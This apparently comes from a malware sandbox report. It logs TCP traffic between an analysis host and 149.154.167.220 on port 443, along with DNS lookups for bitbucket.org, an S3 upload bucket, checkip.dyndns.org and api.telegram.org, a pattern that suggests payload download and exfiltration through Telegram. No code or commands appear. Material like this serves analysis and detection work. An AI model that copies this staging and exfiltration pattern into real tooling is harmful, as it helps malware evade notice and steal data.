Nov 26, 2024 08:26:31.695415974 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:31.695481062 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:31.695687056 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:31.695703983 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.013314009 CET	443	50009	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.015065908 CET	50009	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.015103102 CET	443	50009	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.015146017 CET	50009	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.015170097 CET	443	50009	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.067838907 CET	443	50010	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.069330931 CET	50010	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.069369078 CET	443	50010	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.069422960 CET	50010	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.069430113 CET	443	50010	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.157670021 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.159243107 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.159271955 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.159322977 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.159337044 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.574304104 CET	443	50009	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.574418068 CET	443	50009	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.574465036 CET	50009	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.574807882 CET	50009	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.576278925 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.576318979 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.576390982 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.576647997 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.576661110 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.643681049 CET	443	50010	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.643795967 CET	443	50010	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.643851995 CET	50010	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.644153118 CET	50010	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.645127058 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.645181894 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.645250082 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.645471096 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.645488024 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.752813101 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.753650904 CET	443	50011	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.753709078 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.754091978 CET	50011	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.755565882 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.755600929 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:33.755666971 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.755933046 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:33.755944014 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:34.996599913 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.014997959 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.015021086 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.015079975 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.015088081 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.099093914 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.115145922 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.115171909 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.115245104 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.115252972 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.169203043 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.218369007 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.218405962 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.218473911 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.218482971 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.569325924 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.569437027 CET	443	50017	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.569482088 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.570070982 CET	50017	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.604588985 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.604628086 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.604692936 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.605133057 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.605144978 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.681529999 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.681612968 CET	443	50018	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.681651115 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.681936979 CET	50018	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.683377028 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.683402061 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.683455944 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.683657885 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.683669090 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.733839035 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.733932972 CET	443	50019	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.733971119 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.734263897 CET	50019	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.735640049 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.735655069 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:35.735701084 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.735948086 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:35.735956907 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.013276100 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.016128063 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.016139984 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.016225100 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.016230106 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.095877886 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.098104954 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.098134995 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.098257065 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.098263979 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.104608059 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.106851101 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.106882095 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.106967926 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.106976986 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.716164112 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.716415882 CET	443	50023	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.716566086 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.717031002 CET	50023	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.718262911 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.718312025 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.720084906 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.720362902 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.720381021 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.794120073 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.794327974 CET	443	50027	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.794415951 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.794852972 CET	50027	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.795929909 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.795974970 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.796045065 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.796272039 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.796292067 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.818581104 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.818646908 CET	443	50025	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.818723917 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.819161892 CET	50025	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.820358038 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.820408106 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:37.820467949 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.820698023 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:37.820717096 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.146543980 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.158442974 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.158478022 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.159559011 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.159565926 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.228594065 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.231281042 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.231303930 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.231369019 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.231374979 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.259547949 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.261375904 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.261400938 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.261442900 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.261456013 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.757436037 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.757663012 CET	443	50031	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.757746935 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.758172989 CET	50031	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.759294987 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.759356022 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.759422064 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.759665966 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.759685040 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.795929909 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.796011925 CET	443	50033	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.796108961 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.796483040 CET	50033	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.797528982 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.797564983 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.797785997 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.798058987 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.798077106 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.916986942 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.917095900 CET	443	50032	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.917265892 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.917557001 CET	50032	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.918836117 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.918895006 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:39.918963909 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.919190884 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:39.919203997 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.206202984 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.209785938 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.209804058 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.209892988 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.209897041 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.219283104 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.221658945 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.221716881 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.224348068 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.224354982 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.300863028 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.305849075 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.305895090 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.306086063 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.306091070 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.912136078 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.912235022 CET	443	50040	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.912313938 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.912360907 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.912585974 CET	443	50039	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.912616968 CET	50040	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.912672043 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.912971020 CET	50039	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.913753986 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.913795948 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.914012909 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.914203882 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.914237976 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.914241076 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.914257050 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.914294958 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.914525032 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.914535046 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.930016041 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.930110931 CET	443	50041	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.930283070 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.930524111 CET	50041	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.931432009 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.931472063 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:41.931601048 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.931808949 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:41.931823015 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.517277002 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.517725945 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.519874096 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.519896030 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.520013094 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.520019054 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.521298885 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.521339893 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.521435022 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.521441936 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.567671061 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.569844961 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.569866896 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:43.569928885 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:43.569932938 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.076633930 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.076868057 CET	443	50047	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.076953888 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.077373981 CET	50047	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.078699112 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.078733921 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.078799963 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.079068899 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.079082966 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.095063925 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.095279932 CET	443	50049	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.095350981 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.095788956 CET	50049	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.096820116 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.096868038 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.097048998 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.097337008 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.097353935 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.123539925 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.123625040 CET	443	50048	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.123852968 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.124126911 CET	50048	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.125546932 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.125598907 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:44.125686884 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.125965118 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:44.125982046 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.487220049 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.489825010 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.489846945 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.489928007 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.489933014 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.498245955 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.499710083 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.499738932 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.499800920 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.499809027 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.557514906 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.559333086 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.559359074 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:45.559421062 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:45.559432983 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.030343056 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.030421019 CET	443	50057	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.030522108 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:46.066373110 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.066478968 CET	443	50055	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.066536903 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:46.115098000 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.115204096 CET	443	50056	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:46.115283966 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.552403927 CET	50055	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.553378105 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.553416967 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:49.553572893 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.553765059 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.553778887 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:49.812751055 CET	50056	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.813354015 CET	50071	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.813369036 CET	443	50071	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:49.813440084 CET	50071	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.813709021 CET	50071	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:49.813719034 CET	443	50071	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:50.191564083 CET	50057	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.192121983 CET	50074	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.192208052 CET	443	50074	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:50.192373991 CET	50074	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.192543983 CET	50074	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.192574024 CET	443	50074	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:50.918680906 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:50.920572042 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.920614004 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:50.920675993 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:50.920682907 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:51.271056890 CET	443	50071	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:51.313810110 CET	50071	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:51.465322971 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:51.465464115 CET	443	50070	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:51.465524912 CET	50070	443	192.168.2.7	149.154.167.220
Nov 26, 2024 08:26:51.647811890 CET	443	50074	149.154.167.220	192.168.2.7
Nov 26, 2024 08:26:51.688827038 CET	50074	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:24:41.299941063 CET	65130	53	192.168.2.7	1.1.1.1
Nov 26, 2024 08:24:41.445080042 CET	53	65130	1.1.1.1	192.168.2.7
Nov 26, 2024 08:24:43.948023081 CET	62743	53	192.168.2.7	1.1.1.1
Nov 26, 2024 08:24:44.191188097 CET	53	62743	1.1.1.1	192.168.2.7
Nov 26, 2024 08:24:54.169706106 CET	59612	53	192.168.2.7	1.1.1.1
Nov 26, 2024 08:24:54.310570955 CET	53	59612	1.1.1.1	192.168.2.7
Nov 26, 2024 08:25:06.254781008 CET	54372	53	192.168.2.7	1.1.1.1
Nov 26, 2024 08:25:06.402973890 CET	53	54372	1.1.1.1	192.168.2.7
Nov 26, 2024 08:25:24.926594019 CET	54908	53	192.168.2.7	1.1.1.1
Nov 26, 2024 08:25:25.067562103 CET	53	54908	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 08:24:41.299941063 CET	192.168.2.7	1.1.1.1	0xf56e	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:43.948023081 CET	192.168.2.7	1.1.1.1	0x345e	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:54.169706106 CET	192.168.2.7	1.1.1.1	0x4e76	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:25:06.254781008 CET	192.168.2.7	1.1.1.1	0x43e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:25:24.926594019 CET	192.168.2.7	1.1.1.1	0xfca1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 08:24:41.445080042 CET	1.1.1.1	192.168.2.7	0xf56e	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:41.445080042 CET	1.1.1.1	192.168.2.7	0xf56e	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:41.445080042 CET	1.1.1.1	192.168.2.7	0xf56e	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:24:44.191188097 CET	1.1.1.1	192.168.2.7	0x345e	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
